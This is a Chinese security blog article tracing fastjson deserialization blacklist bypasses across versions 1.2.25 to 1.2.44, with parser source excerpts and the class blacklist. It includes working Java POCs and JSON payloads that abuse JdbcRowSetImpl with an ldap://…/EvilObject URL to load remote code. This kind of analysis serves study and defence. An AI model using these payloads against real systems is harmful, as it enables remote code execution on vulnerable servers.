前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从FastJson库的不同版本源码中对比学习绕过方法

从FastJson库的不同版本源码中对比学习绕过方法

作者头像
FB客服
发布2023-02-10 14:20:45
7290
发布2023-02-10 14:20:45
举报
文章被收录于专栏:FreeBuf
1.2.25<=fastjson<=1.2.41反序列化漏洞。从这个版本的fastjson中,对前面的漏洞进行了修复,引入了checkAutoType安全机制,默认autoTypeSupport关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

更新主要在com.alibaba.fastjson.parser.ParserConfig中。

  • autoTypeSupport:是否开启任意类型的反序列化,默认关闭;
  • denyList:反序列化类的黑名单;
  • acceptList:反序列化类的白名单。
代码语言:javascript
复制
//黑名单
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
(向右滑动、查看更多)

添加白名单:

  1. 使用代码进行添加::ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)
  2. 加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.
  3. 在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.su18.fastjson.
漏洞分析

跟进ParserConfig#checkAutoType.

如果开启了autoType,他会先判断是否在白里面,如果在,就会进行加载,之后再次判断是否在黑名单里面,如果在,就会抛出异常。

如果没有开启autoType,他会先判断是否在黑名单里面,如果在,就会抛出异常,之后再次判断是否在白名单里面,如果在,就进行加载。

当然,还有需要反序列化的类既不在黑名单上又不在白名单上面,那就只能是开启了autoType或者expectClass不为空,才会加载这个类。

那就跟进TypeUtils#loadClass,在加载类之前进行了递归调用来处理[ L ;等描述符。

这里就存在一个逻辑漏洞,前面检查黑名单是使用的startswith来进行检测的,我们在前面加载上L字符和后面加上;,这样就可以绕过黑名单的检查了,这俩个字符也会在这个位置给处理掉了,就成功达到了我们的目的。

POC
代码语言:javascript
复制
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fj25_Jdbc_POC {
    public static void main(String[] args) {
        String payload = "{\"xx\":{" +
                "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
                "\"dataSourceName\":\"ldap://127.0.0.1:8888/EvilObject\"," +
                "\"autoCommit\":true" +
                "}}";
        //开启autotype
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(payload);
    }
}
(向右滑动、查看更多)
代码语言:javascript
复制
//payload
{
  "xx": {
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://127.0.0.1:8888/EvilObject",
    "autoCommit": true
  }
}
(向右滑动、查看更多)
条件限制

和前面的JdbcRowSetImpl利用链一样需要有网,还有就是需要开启AutoType.

1.2.25<=fastjson<=1.2.42反序列化漏洞

jar包版本: 1.2.42

漏洞分析

仍然还是看看ParserConfig里面修改的内容。

这不是直接把黑白名单给进行了hash处理,以防进行黑名单绕过。跟进ParserConfig#checkAutoType,发现多写了一个判断,这里使用hash写的。

大概的意思是如果类的第一个字符是L,结尾的字符是;就会取第二个字符到倒数第二个字符的内容,就类似于进行了startwith这种函数来判断,但是这里只去除了一次,后面是递归操作,就可以双写绕过。

POC
代码语言:javascript
复制
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fj42_Jdbc_POC {
    public static void main(String[] args) {
        String payload = "{\"xx\":{" +
                "\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
                "\"dataSourceName\":\"ldap://127.0.0.1:8888/EvilObject\"," +
                "\"autoCommit\":true" +
                "}}";
        //开启autotype
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(payload);
    }
}
(向右滑动、查看更多)
代码语言:javascript
复制
//payload
{
  "xx": {
    "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName": "ldap://127.0.0.1:8888/EvilObject",
    "autoCommit": true
  }
}
(向右滑动、查看更多)
条件限制

和上一个版本是一样的:

  1. 有网
  2. 开启AutoType
1.2.25<=fastjson<=1.2.43反序列化漏洞
漏洞分析

这个版本在ParserConfig#checkAutoType中做出了修改。

代码语言:javascript
复制
if ((((BASIC
                ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(className.length() - 1))
                * PRIME == 0x9198507b5af98f0L)
        {
            if ((((BASIC
                    ^ className.charAt(0))
                    * PRIME)
                    ^ className.charAt(1))
                    * PRIME == 0x9195c07b5af5345L)
            {
                throw new JSONException("autoType is not support. " + typeName);
            }
            // 9195c07b5af5345
            className = className.substring(1, className.length() - 1);
        }
(向右滑动、查看更多)

如果出现了多个L,就会直接抛出异常。但是在loadClass中,同样对[进行了处理。

代码语言:javascript
复制
if(className == null || className.length() == 0){
            return null;
        }
        Class<?> clazz = mappings.get(className);
        if(clazz != null){
            return clazz;
        }
        if(className.charAt(0) == '['){
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        if(className.startsWith("L") && className.endsWith(";")){
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
(向右滑动、查看更多)

我们就可以通过[进行黑名单绕过。

代码语言:javascript
复制
Payload
{
  "RoboTerh": {
    "@type": "[com.sun.rowset.JdbcRowSetImpl"[{,
    "dataSourceName": "ldap://127.0.0.1:8888/EvilObject",
    "autoCommit": true
  }
}
(向右滑动、查看更多)
条件限制

和之前的一样。

fastjson1.2.44
分析

这个版本主要是修复了上一个版本利用[进行绕过的方法。

参考:

https://su18.org/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-12-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.2.25<=fastjson<=1.2.41反序列化漏洞。从这个版本的fastjson中,对前面的漏洞进行了修复,引入了checkAutoType安全机制,默认autoTypeSupport关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。
    • 漏洞分析
      • POC
        • 条件限制
        • 1.2.25<=fastjson<=1.2.42反序列化漏洞
          • 漏洞分析
            • POC
              • 条件限制
              • 1.2.25<=fastjson<=1.2.43反序列化漏洞
                • 漏洞分析
                  • (向右滑动、查看更多)
                    • 条件限制
                    • fastjson1.2.44
                      • 分析
                      • 参考:
                      相关产品与服务
                      文件存储
                      文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档